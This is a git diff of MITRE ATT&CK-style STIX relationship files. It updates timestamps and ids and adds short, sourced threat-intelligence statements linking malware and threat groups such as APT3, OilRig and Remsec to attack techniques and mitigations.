+                    "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.",
+                    "url": "https://www.youtube.com/watch?v=fevGZs0EQu8"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--121a09bd-f603-4476-a149-a3cba52f268c.json b/enterprise-attack/relationship/relationship--121a09bd-f603-4476-a149-a3cba52f268c.json
index 5e81b896b6..1d2ac68264 100644
--- a/enterprise-attack/relationship/relationship--121a09bd-f603-4476-a149-a3cba52f268c.json
+++ b/enterprise-attack/relationship/relationship--121a09bd-f603-4476-a149-a3cba52f268c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--88575294-943b-4bb0-97de-2eb99d8f0f1c",
+    "id": "bundle--2fab81ba-dd4f-4549-a791-b98453e93500",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--121a09bd-f603-4476-a149-a3cba52f268c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Rover automatically collects files from the local system and removable drives based on a predefined list of file extensions on a regular timeframe.",
             "source_ref": "malware--6b616fc1-1505-48e3-8b2c-0d19337bff38",
diff --git a/enterprise-attack/relationship/relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c.json b/enterprise-attack/relationship/relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c.json
index 565ea15c74..7c27cc03fd 100644
--- a/enterprise-attack/relationship/relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c.json
+++ b/enterprise-attack/relationship/relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--41dc3351-97c6-48cd-9689-45b25c7e384f",
+    "id": "bundle--01641797-58db-489b-9d34-50cb3b2202ca",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--122e6f20-ab3b-4bf0-bef1-0372399bee7c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "NETEAGLE will decrypt resources it downloads with HTTP requests by using RC4 with the key \"ScoutEagle.\"",
             "source_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2",
diff --git a/enterprise-attack/relationship/relationship--12455fe5-42dd-420e-839e-8a96886488f7.json b/enterprise-attack/relationship/relationship--12455fe5-42dd-420e-839e-8a96886488f7.json
index 05901f8236..ae22581db9 100644
--- a/enterprise-attack/relationship/relationship--12455fe5-42dd-420e-839e-8a96886488f7.json
+++ b/enterprise-attack/relationship/relationship--12455fe5-42dd-420e-839e-8a96886488f7.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--80edd282-24fb-4a9a-b770-b86e7003af47",
+    "id": "bundle--3c2abbbd-4c4f-42fc-9807-9e2f3096e035",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--12455fe5-42dd-420e-839e-8a96886488f7",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "The <code>net time</code> command can be used in Net to determine the local or remote system time.",
             "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23",
diff --git a/enterprise-attack/relationship/relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34.json b/enterprise-attack/relationship/relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34.json
index 1950d503f6..bbf6498a12 100644
--- a/enterprise-attack/relationship/relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34.json
+++ b/enterprise-attack/relationship/relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--de5269e9-814c-4345-bf65-40b01cbbe153",
+    "id": "bundle--b04d0906-89d1-460c-a84d-2e0390cbc299",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--1258536b-6cf4-4cfe-98c7-e9c1d30c5a34",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.056Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "An APT3 downloader first establishes a SOCKS5 connection to 192.157.198[.]103 using TCP port 1913; once the server response is verified, it then requests a connection to 192.184.60[.]229 on TCP port 81.",
             "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
diff --git a/enterprise-attack/relationship/relationship--126bfb52-654a-4056-be93-37a06f8d6a32.json b/enterprise-attack/relationship/relationship--126bfb52-654a-4056-be93-37a06f8d6a32.json
new file mode 100644
index 0000000000..77294381f0
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--126bfb52-654a-4056-be93-37a06f8d6a32.json
@@ -0,0 +1,20 @@
+{
+    "type": "bundle",
+    "id": "bundle--5b6e163c-a817-4b99-b72b-e6f65a58fc29",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--126bfb52-654a-4056-be93-37a06f8d6a32",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "mitigates",
+            "source_ref": "course-of-action--54246e2e-683f-4bf2-be4c-d7d5a60e7d22",
+            "target_ref": "attack-pattern--0dbf5f1b-a560-4d51-ac1b-d70caab3e1f0",
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--12904c83-67ad-430f-96ae-20e9081c2b5d.json b/enterprise-attack/relationship/relationship--12904c83-67ad-430f-96ae-20e9081c2b5d.json
index 7adac88585..d0f0dceab3 100644
--- a/enterprise-attack/relationship/relationship--12904c83-67ad-430f-96ae-20e9081c2b5d.json
+++ b/enterprise-attack/relationship/relationship--12904c83-67ad-430f-96ae-20e9081c2b5d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--16f7e57e-2cbe-48e0-942a-6f09a4ca4e7f",
+    "id": "bundle--dc89957b-57c0-4dc1-a797-ca80c449491a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--12904c83-67ad-430f-96ae-20e9081c2b5d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.",
             "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73",
diff --git a/enterprise-attack/relationship/relationship--129cacdc-8acb-4209-a77c-a6a7e0820a97.json b/enterprise-attack/relationship/relationship--129cacdc-8acb-4209-a77c-a6a7e0820a97.json
new file mode 100644
index 0000000000..790486e900
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--129cacdc-8acb-4209-a77c-a6a7e0820a97.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--2ba4fee7-ca42-497c-828a-397cec34cf27",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--129cacdc-8acb-4209-a77c-a6a7e0820a97",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "POWRUNER can use base64 encoded C2 communications.",
+            "source_ref": "malware--09b2cd76-c674-47cc-9f57-d2f2ad150a46",
+            "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
+            "external_references": [
+                {
+                    "source_name": "FireEye APT34 Dec 2017",
+                    "description": "Sardiwal, M, et al. (2017, December 7). New Targeted Attack in the Middle East by APT34, a Suspected Iranian Threat Group, Using CVE-2017-11882 Exploit. Retrieved December 20, 2017.",
+                    "url": "https://www.fireeye.com/blog/threat-research/2017/12/targeted-attack-in-middle-east-by-apt34.html"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4.json b/enterprise-attack/relationship/relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4.json
index 5287f99fde..c0950e5277 100644
--- a/enterprise-attack/relationship/relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4.json
+++ b/enterprise-attack/relationship/relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e633b203-ba38-4f55-ba3d-b2c31075f5f3",
+    "id": "bundle--4c2dfed0-345a-44e9-9b6e-d280f60ea875",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--12cc7738-bb90-4e77-a96d-8e4f312e07d4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "LOWBALL command and control occurs via HTTPS over port 443.",
             "source_ref": "malware--2a6f4c7b-e690-4cc7-ab6b-1f821fb6b80b",
diff --git a/enterprise-attack/relationship/relationship--12daddcc-b964-485e-8c2d-10f554d78bcc.json b/enterprise-attack/relationship/relationship--12daddcc-b964-485e-8c2d-10f554d78bcc.json
new file mode 100644
index 0000000000..2804f78037
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--12daddcc-b964-485e-8c2d-10f554d78bcc.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--613144e3-d0e8-4269-9d44-019340a54d35",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--12daddcc-b964-485e-8c2d-10f554d78bcc",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "OilRig malware ISMAgent falls back to its DNS tunneling mechanism if it is unable to reach the C2 server over HTTP.",
+            "source_ref": "intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d",
+            "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433",
+            "external_references": [
+                {
+                    "source_name": "OilRig ISMAgent July 2017",
+                    "description": "Falcone, R. and Lee, B. (2017, July 27). OilRig Uses ISMDoor Variant; Possibly Linked to Greenbug Threat Group. Retrieved January 8, 2018.",
+                    "url": "https://researchcenter.paloaltonetworks.com/2017/07/unit42-oilrig-uses-ismdoor-variant-possibly-linked-greenbug-threat-group/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--12ea66f1-566a-404f-a948-f76b9047710e.json b/enterprise-attack/relationship/relationship--12ea66f1-566a-404f-a948-f76b9047710e.json
index dc248eb76a..9a8ad27b45 100644
--- a/enterprise-attack/relationship/relationship--12ea66f1-566a-404f-a948-f76b9047710e.json
+++ b/enterprise-attack/relationship/relationship--12ea66f1-566a-404f-a948-f76b9047710e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ad1d8dbf-6d08-40ca-93fa-5c3dd8109aed",
+    "id": "bundle--42f17f2c-208c-42fe-9e8f-eb74c57561bf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--12ea66f1-566a-404f-a948-f76b9047710e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used <code>net use</code> to conduct connectivity checks to machines.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/relationship/relationship--130275cb-368e-4168-a4bf-60b39566bc50.json b/enterprise-attack/relationship/relationship--130275cb-368e-4168-a4bf-60b39566bc50.json
index 27cfaae377..fbedb4af06 100644
--- a/enterprise-attack/relationship/relationship--130275cb-368e-4168-a4bf-60b39566bc50.json
+++ b/enterprise-attack/relationship/relationship--130275cb-368e-4168-a4bf-60b39566bc50.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--1dad183f-acfc-4f49-86ea-d4e7550e363a",
+    "id": "bundle--b3184e28-c6df-4261-8950-a043a9ab6909",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--130275cb-368e-4168-a4bf-60b39566bc50",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.020Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824",
             "target_ref": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
diff --git a/enterprise-attack/relationship/relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c.json b/enterprise-attack/relationship/relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c.json
index 77ef0b547c..df37431c48 100644
--- a/enterprise-attack/relationship/relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c.json
+++ b/enterprise-attack/relationship/relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a59821a4-fa06-471a-a15f-9e8bed70d132",
+    "id": "bundle--7120a60e-819d-4fbb-a9f4-a9d237b9d8cf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--131fde9c-7a83-4603-9c1e-c41f815fb14c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec has a plugin to drop and execute vulnerable Outpost Sandbox or avast! Virtualization drivers in order to gain kernel mode privileges.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--13204383-a747-4f7f-a75c-858ddc76beab.json b/enterprise-attack/relationship/relationship--13204383-a747-4f7f-a75c-858ddc76beab.json
index 8565128750..920d4f494e 100644
--- a/enterprise-attack/relationship/relationship--13204383-a747-4f7f-a75c-858ddc76beab.json
+++ b/enterprise-attack/relationship/relationship--13204383-a747-4f7f-a75c-858ddc76beab.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--12626a82-76c3-4cde-a13d-23dd507e474e",
+    "id": "bundle--30087a8d-f293-4ad3-8962-308cabeda4ea",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13204383-a747-4f7f-a75c-858ddc76beab",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "WinMM sets a WH_CBT Windows hook to collect information on process creation.",
             "source_ref": "malware--22addc7b-b39f-483d-979a-1b35147da5de",
diff --git a/enterprise-attack/relationship/relationship--1334cbe3-8613-4279-9a1f-58781c2656a4.json b/enterprise-attack/relationship/relationship--1334cbe3-8613-4279-9a1f-58781c2656a4.json
new file mode 100644
index 0000000000..008d42da0e
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--1334cbe3-8613-4279-9a1f-58781c2656a4.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--24610e0e-169d-4eac-81c3-e15f09ad2d3e",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--1334cbe3-8613-4279-9a1f-58781c2656a4",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to brute force password hashes to be able to leverage plain text credentials.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd",
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--137e1ddc-403b-49b5-a214-20b82bab446e.json b/enterprise-attack/relationship/relationship--137e1ddc-403b-49b5-a214-20b82bab446e.json
index d61b372a6c..19f7f71f3e 100644
--- a/enterprise-attack/relationship/relationship--137e1ddc-403b-49b5-a214-20b82bab446e.json
+++ b/enterprise-attack/relationship/relationship--137e1ddc-403b-49b5-a214-20b82bab446e.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b78f6ecf-bdaa-47f6-bca2-102c1efa2159",
+    "id": "bundle--ce5504e2-24c7-48d7-893d-6c8798f87ccb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--137e1ddc-403b-49b5-a214-20b82bab446e",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Remsec contains a module to move data from airgapped networks to Internet-connected systems by using a removable USB device.",
             "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8",
diff --git a/enterprise-attack/relationship/relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44.json b/enterprise-attack/relationship/relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44.json
index 767039ec8a..2475220cf5 100644
--- a/enterprise-attack/relationship/relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44.json
+++ b/enterprise-attack/relationship/relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--81d7502b-784a-4028-8fc1-b69eaef69e34",
+    "id": "bundle--e1616346-ec91-4b22-bab3-b84070506dcb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13984eec-6c33-4bab-a22c-5c061ddd6e44",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.037Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662",
             "target_ref": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
diff --git a/enterprise-attack/relationship/relationship--13a8be40-1190-4553-b026-58c5088c322a.json b/enterprise-attack/relationship/relationship--13a8be40-1190-4553-b026-58c5088c322a.json
index 855066840e..e08ba11f1e 100644
--- a/enterprise-attack/relationship/relationship--13a8be40-1190-4553-b026-58c5088c322a.json
+++ b/enterprise-attack/relationship/relationship--13a8be40-1190-4553-b026-58c5088c322a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--c6656a71-546b-408a-b850-26175bba5dc0",
+    "id": "bundle--49c4a068-c6b0-4888-865d-1cbc4988ce16",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13a8be40-1190-4553-b026-58c5088c322a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.075Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Several tools used by Suckfly have been command-line driven.",
             "source_ref": "intrusion-set--5cbe0d3b-6fb1-471f-b591-4b192915116d",
diff --git a/enterprise-attack/relationship/relationship--13aa912e-bb51-4293-a971-9179442d516a.json b/enterprise-attack/relationship/relationship--13aa912e-bb51-4293-a971-9179442d516a.json
index 8e59a4d17f..1454be4b18 100644
--- a/enterprise-attack/relationship/relationship--13aa912e-bb51-4293-a971-9179442d516a.json
+++ b/enterprise-attack/relationship/relationship--13aa912e-bb51-4293-a971-9179442d516a.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--2d924b30-cb04-4194-b0f0-ec6abd1e939d",
+    "id": "bundle--c371a60b-82f3-4851-85c2-773b4606b9e7",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13aa912e-bb51-4293-a971-9179442d516a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.078Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "source_ref": "intrusion-set--9559ecaf-2e75-48a7-aee8-9974020bc772",
             "target_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
diff --git a/enterprise-attack/relationship/relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25.json b/enterprise-attack/relationship/relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25.json
index 06368739c0..7b89188cb7 100644
--- a/enterprise-attack/relationship/relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25.json
+++ b/enterprise-attack/relationship/relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a4c22720-a07e-4f85-89ef-a77b4abec1f5",
+    "id": "bundle--5e334a0a-81c8-41c5-a9dc-17dfa7a23fcf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13c97dd2-5c0b-4f18-84ab-533949fbeb25",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "SeaDuke C2 traffic is base64-encoded.",
             "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14",
diff --git a/enterprise-attack/relationship/relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632.json b/enterprise-attack/relationship/relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632.json
index 15b0e5fe4b..0077d2af74 100644
--- a/enterprise-attack/relationship/relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632.json
+++ b/enterprise-attack/relationship/relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--19c84c6c-5a8e-4c90-a0fa-74221bbba235",
+    "id": "bundle--a4b3414a-8dae-424b-88a5-5c8d813f63c4",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13d8aec7-3e49-41f8-b57c-475cdc0d9632",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.061Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 actors use the Hunter tool to conduct network service discovery for vulnerable systems.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--13f5fad8-1b6f-4b65-9803-155f93b5d357.json b/enterprise-attack/relationship/relationship--13f5fad8-1b6f-4b65-9803-155f93b5d357.json
index 6d6806f110..0100e74680 100644
--- a/enterprise-attack/relationship/relationship--13f5fad8-1b6f-4b65-9803-155f93b5d357.json
+++ b/enterprise-attack/relationship/relationship--13f5fad8-1b6f-4b65-9803-155f93b5d357.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e44554b2-654c-49fd-ac7b-d2adc297623d",
+    "id": "bundle--3c776431-9a04-487d-b270-1f02a388199f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--13f5fad8-1b6f-4b65-9803-155f93b5d357",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.027Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--7c39ebbf-244e-4d1c-b0ac-b282453ece43",
             "target_ref": "attack-pattern--1c338d0f-a65e-4073-a5c1-c06878849f21",
diff --git a/enterprise-attack/relationship/relationship--13f986d2-949b-42c8-bd4b-b8a833b9d5de.json b/enterprise-attack/relationship/relationship--13f986d2-949b-42c8-bd4b-b8a833b9d5de.json
new file mode 100644
index 0000000000..3198a98adc
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--13f986d2-949b-42c8-bd4b-b8a833b9d5de.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--cc735b71-f71a-4e2a-8b4f-3e260a604853",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--13f986d2-949b-42c8-bd4b-b8a833b9d5de",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to use multiple backdoors per campaign.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--6aabc5ec-eae6-422c-8311-38d45ee9838a",
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--140b4bbc-68c6-474a-adae-9b2275471f13.json b/enterprise-attack/relationship/relationship--140b4bbc-68c6-474a-adae-9b2275471f13.json
index 8ea46acd55..ab1fdbcee8 100644
--- a/enterprise-attack/relationship/relationship--140b4bbc-68c6-474a-adae-9b2275471f13.json
+++ b/enterprise-attack/relationship/relationship--140b4bbc-68c6-474a-adae-9b2275471f13.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--05c4f0db-4317-4701-97d7-e3d87c19ef2b",
+    "id": "bundle--e3795cb5-c065-4368-b99c-957d2c13ebdf",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--140b4bbc-68c6-474a-adae-9b2275471f13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--8ca6a5e0-aae5-49bc-8d07-f888c7dba9ea",
             "target_ref": "attack-pattern--2c4d4e92-0ccf-4a97-b54c-86d662988a53",
